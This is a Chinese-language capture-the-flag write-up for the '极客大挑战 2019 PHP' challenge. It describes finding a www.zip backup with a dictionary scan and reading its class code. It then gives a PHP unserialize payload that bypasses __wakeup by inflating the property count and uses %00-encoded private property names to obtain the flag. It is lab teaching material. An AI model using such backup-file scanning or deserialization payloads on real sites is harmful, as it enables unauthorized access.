[极客大挑战 2019]PHP1-原创超详细

[极客大挑战 2019]PHP1

提示:有一个良好的备份网站的习惯 寻找一个备份文件字典,我在github上找的:

scopion/dic: 渗透字典,框架信息泄露,备份文件泄露,配置文件泄露。字典 (github.com)

我用的是top7777.txt字典,扫的很慢。

image-20221209095501102

image-20221208212106877

扫出来www.zip这个文件,然后下载下来 ,里面只有index.php和class.php两个文件有作用。

image-20221209100538126

反序列化文件:
index.php

image-20221209100953600

重点代码解读:

Select = $_GET['select']
 //这里需要传入序列化的内容
$res = unserialize(@$select); 

1. @符号在php中做错误控制操作符,当表达式附加@符号的时候,将忽略该表达式可能生成的错误信息,如果启用了track_errors功能php_errormsg中。每个错误都会覆盖此变量。

class.php

image-20221209101013212

重点代码解读:

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

	function __wakeup(){
	        $this->username = 'guest';
    }
	1. Private 是一种可见性修饰符,private与public不同,private修饰的方法和数据域被限定只能在自己的类中被访问,即使在同一个包中也不能被其它类访问,public则可以运用在类或者类的成员上。
	private:用于声明私有变量	public:用于声明全局变量
	
	2. __construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,也就是说对象创建完成以后第一个被对象自动调用的方法。

	3. __wakeup 当使用unserilize()方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 -->重点代码中如果自动调用了这个方法,username会被赋值成guest。

根据__destruct 析构函数(在这个对象的内容执行完之前 执行函数的内容)的内容可以得知,password=100,username=admin的时候满足条件就可以获得flag

但是当我们序列化传参了以后,还是无法获得flag,因为__wakeup这个函数在反序列化之前调用,改变了username的值,所以目前需要跳过wakeup(),上面讲了,如果对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字:

payload

?select=O:4:“Name”:3:{s:14:" Name username";s:5:“admin”;s:14:" Name password";i:100;}

但是发现这个里面有空格,所以把空格url编码变成%00再传参

Payload

?select=O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;i:100;}

image-20221209101539405

获得flag,实验结束

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Staryy。

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值